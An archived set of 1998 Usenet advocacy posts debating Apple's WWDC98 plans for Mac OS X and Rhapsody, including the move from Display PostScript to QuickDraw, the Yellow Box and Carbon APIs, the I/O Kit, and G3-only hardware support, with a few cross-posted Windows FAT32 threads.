> First, there is a lot of confusion out there but one thing is BRUTALLY
> CLEAR to anyone who understands what the purpose of the Mach Kernal is.
> The Mach kernal is the part of the OS that talks via drivers to the
> hardware NOT THE APIs. Therefore when Apple writes a new API for the
> yellow box, porting to the YB/Intel is not really a big deal. What is a
> big deal and something you miss in your endless rantings about Apple What
> Intel Hardware will be supported? Remember there is a shit load of
> variations on the Intel side and that makes creating a Mach Kernal with
> all appropriate drivers sort of difficult. But if your machine is from
> some reputable manufacturer like Gateway,compaq or even Dell(yuck), you
> will not have to much of a problem. I am pretty sure that Intel will keep
> their Mach kernal pretty up to date don't you?
>
> peter
>
> --
> "Don't you eat that yellow snow
> watch out where the Huskies go" FZ
>
> ---------------------------------------------------------------------
Date: Fri, 15 May 1998 14:12:58 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk>
<B17F2028-29E22@206.165.43.172> <355a3b20.0@news.camtech.net.au>
<see-below-1305982237220001@209.24.241.190>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355bc691.0@news.camtech.net.au>
In article <see-below-1305982237220001@209.24.241.190> ,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>In article <355a3b20.0@news.camtech.net.au>, "timothyp@tne.net.au"
><timothyp@tne.net.au> wrote:
>
>
>> GX? DPS? Who gives a flying f... BUT Quickdraw. I aint gonna put up with
>> Quickdraw into the next millenium. When companies like wavemetrics have to
>> create there own code to get around the limitations of Quickdraw I have to
>> question its use for anything. If Apple really is going to go stay with QD I
>> won't be using it. When Apple announced GX I was pleased. When Apple
>cancelled
>> GX for DPS I was a little worried until I was shown the benefits (though
>> arguably GX as as many if not more). When I heard that X was going back
>to QD I
>> almost puked. I will get a hold of Rhapsody and keep using that if I have to,
>> I'm not going back to QD once I get off it.
>
>
>One question: will OS 10 completely lack DPS and any DPS replacement? I
>assume that Carbon will use QD, but what about YB? I wouldn't guess they'd
>retool YB just to use QuickDraw, but I could be wrong.
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
Hopefully the answers will be available on Friday. My guess is that DPS will be
gone because it is easier for Apple to maintain the compatibility by keeping QD.
All I can say is they had better give it one hell of an overhaul. It will be
interesting to view the QT movie after Fridasy, just to see if it is easy to see
if they are extending QD or just going to bluff their way through (i.e. make out
like they are staying with QD cause its the best).
I want a graphics system that really is WYSIWYG.
Tim Priest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 00:25:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1813BDB-72AAE@206.165.43.157>
References: <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
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John Bauer <drifterusa@sprintmail.com> said:
>Lawson English wrote:
>
>> X is NOT a consumer-oriented OS, and unless you can sell to millions of
>> customers, you can't get the market-penetration to make Yellow a
>standard
>> on MacOS.
>
>What makes you think that X is not a consumer-oriented OS?
The fact that Steve Jobs said that there would be versions of MacOS 8
around for some time to come and that he actually gave numbers to them like
8.5, 8.6, etc?
The fact that the Yellow Box will NOT be available in MacOS 8.x?
The fact that there will be 3 APIs supported in MacOS X, making it even
more bloated than Rhapsody in some ways?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <355BEF55.526C6527@unet.univie.ac.at>
Date: Fri, 15 May 1998 09:31:33 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <19980515021824933964@sdn-ts-007txhousp10.dialsprint.net>
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John Bauer wrote:
> John Kheit wrote:
>
> > But who is going to make all those cool freebee apps, or the cheapo 20buck
> > apps. Or even your average mainstream app.x
>
> Couldn't a shareware author just assume the runtime is already installed
> and dispense with the runtime and fee altogether? Or am I missing
> something (likely, since no one else has suggested what strikes me as
> obvious)?
>
> --
> John Bauer
> <remove NOT from email address above, just like the spammers do>
Well,actually that's exactly what I meant with marketing it as a plug-in and
using a centralized licensing scheme.(See up-thread)
Christian Benesch
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 03:33:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jgr4h$90j$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B473D.64D8E298@milestonerdl.com> <pxpst2-1405981934260001@pelli.pathology.pitt.edu> <355BAC60.25CC2D9F@unet.univie.ac.at>
In article <355BAC60.25CC2D9F@unet.univie.ac.at>, Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> If the DriverKit turns out to be anything like the NeXTSTEP 3.3 DriverKit I am
> positive about it. I just dusted off my NS3.3 Developer Intel and leafed
> through the online-manual, and find the concepts just plain wonderful.
It's even better. Details on the I/O Kit are available at:
http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-IOKit.html
(By the way, I always think this is a great example for C++ weenies
who complain about Obj-C runtime messaging being "too slow" -- NeXT did
their _device drivers_ in Objective-C!!)
Ah, the wonders of OOP.. want to write a new SCSI driver? Subclass the
IOSCSIController class, it's already got the core stuff in it (logging,
power management, hot swapping, protocol management, bus-scanning,
passive matching), all individually overridable to fit your custom needs..
this should be way cool for driver developers!
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEszMAp.BzM@netcom.com>
Organization: Netcom On-Line Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com> <*johnnyc*-1405981142130001@rklein.psychology.dal.ca>
Date: Fri, 15 May 1998 07:32:49 GMT
Sender: nagle@netcom6.netcom.com
*johnnyc*@or.psychology.dal.ca (John Christie) writes:
>In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
>> John Jensen <jjens@primenet.com> writes:
>> Incidentally, what 3D strategy is Apple pushing this week?
>> QuickDraw 3D? OpenGL? Direct-3D?
>>
>> John Nagle
>> www.animats.com
> The latest rumor is that SGI made a deal with Apple. Apparently a
>barter between QT and OpenGL is in the works.
Actually, SGI made a deal with Microsoft a few months back that
amounted to unconditional surrender. SGI agreed to build NT boxes,
and to gut OpenGL by making it work through a low-level Direct-X layer.
Supposedly there will be a new joint scene graph API on top, but
in practice, those big scene graph APIs don't get used much.
John Nagle
Newsgroups: comp.sys.next.advocacy
From: news@news.msfc.nasa.gov
Message-ID: <cancel.6jgijl$av9@bgtnsc01.worldnet.att.net>
Control: cancel <6jgijl$av9@bgtnsc01.worldnet.att.net>
Subject: cmsg cancel <6jgijl$av9@bgtnsc01.worldnet.att.net>
Organization: http://www.msfc.nasa.gov/
Date: Fri, 15 May 1998 05:08:06 GMT
Sender: P.M.Z.<PMZ@EARTHONLINE.NET>
Make Money Fast post canceled by J. Porter Clark.
From: "Ed Ellers" <kd4awq@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 15 May 1998 00:03:30 -0400
Organization: EarthLink Network, Inc.
Message-ID: <6jgfhh$lo8$1@bolivia.it.earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net><slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net><6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net>
M. Kilgore wrote:
"But the hard drive capacities have changed so much since the first release
of OSR2 that maybe MS figures that everyone is either upgrading an existing
fat32 system because of new machine sales or that everyone has already
upgraded to FAT32 via other means."
Windows 98 will include a FAT32 conversion utility. Reportedly this utility
has been made "bulletproof" by setting it up so that the conversion process
writes the new file system *without altering the old one,* then changing one
byte on the hard disk to switch over to the new file system. If the process
is interrupted before that byte is changed, the FAT16 file system remains
intact.
"I haven't heard of MS prosecuting anyone for installing fat32 over an
otherwise legal copy of win95. This could very well be one of those "wink,
wink" situations where MS doesn't officially encourage users installing
FAT32 but doesn't mind if you do because such a stance allows them
"deniability" while still allowing Fat32 to make it onto existing systems."
Take a look at http://www.zdnet.com/pcmag/news/trends/t970505a.htm. This is
a story in which an unnamed Microsoft rep told ZDNet that it *was* legal to
upgrade an existing Windows 95 system to later releases, as long as you had
obtained the new release legally (i.e. if you had five PCs in your office
with Windows 95 and bought a new system with OSR2, you could then upgrade
those other machines using the OSR2 CD). The OEM Service Releases are
rigged to disallow upgrade installations, apparently to prevent someone with
a new PC from upgrading his buddies' computers, but
http://www.compuclinic.com/osr2faq/ has information on how to get around
this.
Message-ID: <355BF3B1.7B2AECE0@unet.univie.ac.at>
Date: Fri, 15 May 1998 09:50:09 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B473D.64D8E298@milestonerdl.com> <pxpst2-1405981934260001@pelli.pathology.pitt.edu> <355BAC60.25CC2D9F@unet.univie.ac.at> <6jgr4h$90j$1@crib.bevc.blacksburg.va.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> In article <355BAC60.25CC2D9F@unet.univie.ac.at>, Christian Benesch <a9226931@unet.univie.ac.at> wrote:
>
> > If the DriverKit turns out to be anything like the NeXTSTEP 3.3 DriverKit I am
> > positive about it. I just dusted off my NS3.3 Developer Intel and leafed
> > through the online-manual, and find the concepts just plain wonderful.
>
> It's even better. Details on the I/O Kit are available at:
>
> http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-IOKit.html
>
> (By the way, I always think this is a great example for C++ weenies
> who complain about Obj-C runtime messaging being "too slow" -- NeXT did
> their _device drivers_ in Objective-C!!)
>
> Ah, the wonders of OOP.. want to write a new SCSI driver? Subclass the
> IOSCSIController class, it's already got the core stuff in it (logging,
> power management, hot swapping, protocol management, bus-scanning,
> passive matching), all individually overridable to fit your custom needs..
> this should be way cool for driver developers!
You bet!
I have looked it up.
All I can say is: WOW!
hot swap support and all that.
NOW,I want someone have a look at these concepts, understand half of it and then say again without
quivering, Rhapsody was dead.
With all this, I think, it won't be just the bunny people getting scorched! :))
Christian Benesch
From: "Ed Ellers" <kd4awq@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 15 May 1998 00:03:30 -0400
Organization: EarthLink Network, Inc.
Message-ID: <6jgeqk$kkg$1@bolivia.it.earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net><slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net><6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net>
M. Kilgore wrote:
"But the hard drive capacities have changed so much since the first release
of OSR2 that maybe MS figures that everyone is either upgrading an existing
fat32 system because of new machine sales or that everyone has already
upgraded to FAT32 via other means."
Windows 98 will include a FAT32 conversion utility. Reportedly this utility
has been made "bulletproof" by setting it up so that the conversion process
writes the new file system *without altering the old one,* then changing one
byte on the hard disk to switch over to the new file system. If the process
is interrupted before that byte is changed, the FAT16 file system remains
intact.
"I haven't heard of MS prosecuting anyone for installing fat32 over an
otherwise legal copy of win95. This could very well be one of those "wink,
wink" situations where MS doesn't officially encourage users installing
FAT32 but doesn't mind if you do because such a stance allows them
"deniability" while still allowing Fat32 to make it onto existing systems."
Take a look at http://www.zdnet.com/pcmag/news/trends/t970505a.htm. This is
a story in which an unnamed Microsoft rep told ZDNet that it *was* legal to
upgrade an existing Windows 95 system to later releases, as long as you had
obtained the new release legally (i.e. if you had five PCs in your office
with Windows 95 and bought a new system with OSR2, you could then upgrade
those other machines using the OSR2 CD). The OEM Service Releases are
rigged to disallow upgrade installations, apparently to prevent someone with
a new PC from upgrading his buddies' computers, but
http://www.compuclinic.com/osr2faq/ has information on how to get around
this.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 03:54:09 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jgsb2$934$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
In article <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>, akira@home.com wrote:
> Well, just to be more clear on the strategy, DPS exhibits a number of
> significant problems, not the least of which is the non-thread safe nature
> of the window server. In addition, the client server nature of DPS imposes
> some significant drawing restrictions as any of you know who have had to do
> lots of PS drawing.
Like what?
> So the new model is a lightweight window server that basically deals with
> the cursor and moving windows around, but not actual drawing. Instead, all
> drawing will be done by QuickDraw commands, which basically go straight to
> the screen. The buffering system that DPS uses is still there,
But won't this degrade refresh performance? The nice thing about
having buffering done in the window server was that it could redraw
things itself. If the refresh drawing is done by the app, then if you
do something like drag a window across the screen, you're constantly
at a minimum doing a context switch to _each_ app that gets occluded
or exposed, as well as paging in some of each app. I'm told that this
is what's largely responsible for the bad "window tearing" you get when
live-dragging a window around the screen on Windows NT; OPENSTEP doesn't
suffer from that problem.
> So some good, and some bad, especially the loss of NXHost,
That's _really_ bad, IMHO. :( I've come to expect that as a _minimal_
feature for a network-aware, GUI-based OS -- the ability to do GUI
work remotely!
Are they going to put in hooks somehow for this later?
> but from what they are promising, it should be a much faster drawing
> system.
I thought it was fast enough already. :-/ Weren't there also supposed
to be speed advantages in an SMP system to giving most of a CPU to the
window server? Is this going to speed up single-CPU graphics performance
but slow it down on SMP systems?
Also, was lack of multithreading really that much of a problem if you
could draw into separate contexts?
If Mike Paquette is reading this, I'd like to hear some reassurment that
all of this is a Good Thing. It doesn't sound worth it to me.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 03:58:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com>
In article <6jgq6j$5us@sjx-ixn10.ix.netcom.com>, far_no@spam.ix.netcom.com wrote:
> Come to think of it I did'nt get my recommended daily allotment
> which probably explains why I agree it SUCKS! It's hideous.
I agree that it's not as nice as NEXTSTEP, but I wouldn't malign it
_that_ strongly. It's decent.
Oh well, I hope the Appearance Manager stuff makes it over to Yellow.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Thu, 14 May 1998 22:58:42 -0700
Message-ID: <see-below-1405982258430001@209.24.240.162>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca> <3559D3C6.EDED0057@milestonerdl.com> <6jcu6g$4oe$1@crib.bevc.blacksburg.va.us> <Esy392.6Lo@AWT.NL>
Very interesting, Gerben. Very clear thinking, and nice diagrams. I hadn't
thought about how the "transparent" Blue Box would be implemented, but the
idea of using Carbon does make a lot of sense.
In article <Esy392.6Lo@AWT.NL>, G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
> Maybe this is a better picture:
>
> [First iteration:]
>
> Old MacOS
> apps
> |
> BlueBox MacOS X YB shells &
> app apps apps CLI apps
> | | | |
> | carbon yellow_box |
> | | | |
> | | | |
> ________________________________________
> shared system services, including
> POSIX API, parts of the BSD API
> ________________________________________
> core OS meaning:
> scheduler, memory management, etc.
>
> The Blue Box is an *app* implemented using the shared system services, which
> may include POSIX calls, Mach calls, BSD calls, most of which in term might
> be implemented using Mach kernel access. Old MacOS apps run inside the
> BlueBox app. The BlueBox app might be implemented using Carbon (sounds
> logical), in which case we get:
>
> [Second iteration:]
>
> Old MacOS
> apps
> |
> BlueBox MacOS X YB shells &
> app apps apps CLI apps
> | | | |
> ----------- | |
> | | |
> carbon yellow box |
> | | |
> ________________________________________
> shared system services, including
> POSIX API, parts of the BSD API
> ________________________________________
> core OS meaning:
> scheduler, memory management, etc.
>
> A large part of carbon and YB might be shared access to stuff like event
> handling, window creation, threads and such, all part of the 'shared system
> services'. If this is true (which would be logical from a design part of
> view), then YB now is not what is used to stand for, because part of what we
> used to call YB, now is 'shared services'. Apple has a lot to win after all
> if they rationalize to the max. In that case, we get:
>
> [Second iteration:]
>
> Old MacOS
> apps
> |
> BlueBox MacOS X YB shells &
> app apps apps CLI apps
> | | | |
> ----------- | |
> | | |
> carbon API YB API |
> | | |
> ________________________________________
> shared system services, including
> POSIX API, parts of the BSD API
> and most of the former YB, in terms
> of window, thread, foundation etc.
> ________________________________________
> core OS meaning:
> scheduler, memory management, etc.
>
> Even this picture is not perfect, as we could implement CLI apps that access
> the YB API or the carbon API. Remember stuff like the ShellText utilities
> under NEXTSTEP, which are cli apps (run from the command line) which produce
> YB-like stuff so someone scripting an installer package can present the user
> with menus and panels and such.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 02:12:09 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <355A9E5E.2D3DB012@unet.univie.ac.at>
In article <355A9E5E.2D3DB012@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> Tapella wrote:
>
> > Well, obviously nobody is afraid of stability. I'm talking about the CLI
> > and general user interface (I've never seen X-windows with an interface as
> > elegant and simple as the MacOS's. Powerful, yes. Easy, friendly, no.).
>
> But you might have seen NEXTSTEP.Powerful yes.
> Easy,friendly, absolutely!
Well, last I saw NEXTSTEP was 5 years ago (not even sure what version) and
at the time it seemed more cluttered and complicated than what I was used to
(although at the time I was alot more of a computer newbie than I am now...
which is pretty damn newbie :) Mac users would have a hard time getting
around NEXTSTEP/Openstep properly I bet.
> The Shell part might be ugly for some, but it opens a whole new range of
> options UNIX is famous for. For one: Scripting. and a whole busload of
> useful tools etc.
I completely agree, but 99% of Mac users won't give a damn. They can
script with AppleScript if they need to (most _users_ do not) and as for
"the whole busload of useful tools" (grep/sed/awk/etc?) again, 99% of Mac
users don't want or need them. _You_ can use them, _I_ could use some of them
sometimes (but usually don't need them), but the average Mac user definately
doesn't want to bother learning grep syntax. My parents have a hard enough
time as it is.
I don't even remember the point of this thread any more! :)
rkt.
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody
*and* Mac owners?)
Date: 15 May 98 03:14:00 -0600
Organization: ICGNetcom
Message-ID: <B181637B-B057D@204.31.112.117>
References: <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net>
Mime-Version: 1.0
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Thu, May 14, 1998 2:52 PM, John Bauer <mailto:drifterusa@sprintmail.com>
wrote:
>Phil Brewster wrote:
>
>> According to the Current Plan (tm), it will include BSD (see references
>> below), but not as a default user environment. One of the slides from
the
>> 'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
>> will be 'well-hidden', but nonetheless available as an 'optional
>> environment for power users and developers', on MacOS X.
>>
>> BSD is listed as one of the application environments, along with Blue
Box,
>> Carbon, and Yellow Box, plus Java.
>
>You beat me to the punch! I've retitled this followup, however, as I
>think the message deserves a higher profile.
>
Thanks, I hope the information is useful.
>> FWIW, the presentation slides from many of the WWDC sessions are
>available
>> via
>>
>> http://www.developer.com/calendar/minisites/wwdc98/
>>
>> Some of the presentations can also be seen as QuickTime movies at
>>
>> http://applewwdc98.isocket.com/theater.html
>>
>> (requires QT 3.0 and a fast Internet connection -- unfortunately, I have
>> neither, so I've only seen the slides.... <g>)
>
>> See especially the slides on
>>
>> 'Core OS Evolution'
>>
>> http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/
>sld007.htm
>>
>> and 'Core OS and MacOS X'
>>
>> http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/
>sld024.htm
>
>I think I skipped slide 7, but 24 definitely shows BSD as an equal
>application environment in OS X. Also, the idea that BSD will be hidden
>but available for those who want it is shown in slide 26:
>
>www.developer.com/calendar/minisites/wwdc98/131corOSarch/
>sld026.htm
>
>> Frankly, I don't see what all the whining and gnashing of teeth is
about,
>> _unless_ this MacOS X thing signals Apple eventually backing away from
>> Rhapsody/OpenStep on Intel, which would not be a good idea at all, IMO.
>
>I'm a little amazed at the whining myself, though I admit Apple has a
>knack for obfuscating news (both good and bad).
>
>> FWIW, both Mac CNN and MacWeek claim that Rhapsody will continue on as
>a
>> separate 'high-end server OS', even after MacOS X is released, and both
>> cite 'Apple sources' for this claim. See
>>
>> http://www.macnn.com/reality/archives/051198/news.shtml
>> http://www.zdnet.com/macweek/mw_1219/op_editorial.html
>>
>> My own sense of it is that MacOS X _should_ be as portable as Rhapsody,
>> since all the components of Rhapsody are there and neither Carbon nor
the
>> Blue Box are 'required' elements of the core OS.
>>
>> But Apple really needs to clarify this, IMO, e.g., whether the 'fully
>> optimized for G3 processors' bit was just marketing hype for the Mac
>> audience or whether it's indicative of future strategies at Apple
limiting
>> Rhapsody technology to PPC-only systems (and, in effect, to Apple
>> hardware....).
>
>I don't think it's either; see the MacNN URL you reference for one Apple
>spokesman's explanation. A relevant snippet:
>
>"the newer Open Firmware present in the iMac, and all the future systems
>will allow for cleaner booting, and easier transition to MacOS X. ...
>Apple ... would find a way to allow Mac OS X to boot the same on the
>current systems."
>
>Others with more technical savvy can argue over how true this is, but it
>appears that it may not be a piece of cake to support pre-iMac hardware
>and that Apple is limiting its commitment to G3 hardware. This won't
>make pre-G3 PCI PMac owners happy, to be sure, though they may still
>have the option of running Rhapsody, which (for better or worse) was all
>that Amelio promised. (The avoidance of lawsuits could even be a reason
>for renaming Rhapsody -- at least its consumer incarnation -- "OS X,"
>though more likely it's just a [for Apple] side benefit.)
>
>--
>John Bauer
><remove NOT from email address above, just like the spammers do>
>
George Graves and others have also been posting some pretty compelling (or
damning...) evidence from Jobs' Keynote that MacOS X will be G3-only on the
PPC side. Though I suppose one could attempt to rationalize the meaning of
'current systems' in the above quote to include the PCI 603e and 604e
systems that were still shipping from Apple up until a few months ago (like
the 8600s and 9600s), let's assume this is the case for the moment, and
that MacOS X will be G3-only.
The question I would have at that point is whether PCI machines with G3
upgrade cards would also be supported at all, since if the Open Firmware
version is the reason and the real issue behind making MacOS X 'G3-only',
then only 'current' brand-new Apple G3 systems (and future iMac-and-later
G3 systems from Apple) would have the appropriate ROM chips, etc., for
MacOS X, as I understand it, true?
-- IOW, will current buyers of, say, the UMAX S900 + bundled G3 card be
screwed?.... If so, then this is why some of us still mourn and bemoan the
demise of CHRP and 'ROM-less' Macs. (Apple's refusal to release the G3
specs to Be, Inc. being another recent example, IMNSHO....).
Ugh....
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
Message-ID: <355C0932.628F1590@unet.univie.ac.at>
Date: Fri, 15 May 1998 11:21:55 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: WWDC:Graphics and Imaging for MacOS X
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
take a look at:
http://isocket.gzx.com/theater.html
(Quicktime 3 required, 12+MB)
DPS is dropped in favour of PDF and Quickdraw.
Christian Benesch
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 09:13:35 GMT
Organization: P & L Systems
Message-ID: <6jh0vv$1cc$40@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
<3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk>
<ericb-1405981233430001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1405981233430001@132.236.171.104> Eric Bennett wrote:
> I think you should subtract a higher percentage than that for loss of x86
> compatibility. Use of QuickDraw in MacOS X is also--to borrow from
> someone else's similar reaction--nauseating.
>
Bollocks.
http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-Graphics.html
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 09:09:31 GMT
Organization: P & L Systems
Message-ID: <6jh0ob$1cc$39@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
<6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <3559E9B3.5718F3D7@spamtoNull.com> Jonathan Harker wrote:
> Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
> prime" why *rename* "Rhapsody" to MAC OS 10?
>
> Only in 'de land where 'de Apples fall from 'de trees and clonk us on
> 'de head, do 'dat make sense...:)
>
"de land" clearly in this case being the real world.
Maybe you ought to come back to it sometime and check it out.
The basic fact is that outside of Usenet I'd say the majority of Mac users
haven't heard of Rhapsody, and if they have are worried by it. They don't
want to lose MacOS, which works for them. I posted the suggestion months ago
that Rhapsody be called MacOS, and the current MacOC be renamed MacOS
Classic, which would help to assuage users' fears. It's all down to
marketing. Why am I not surprised you don't understand.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 15 May 1998 09:03:11 GMT
Organization: P & L Systems
Message-ID: <6jh0cf$1cc$37@ironhorse.plsys.co.uk>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <3559E459.6B0178B4@trilithon.com>
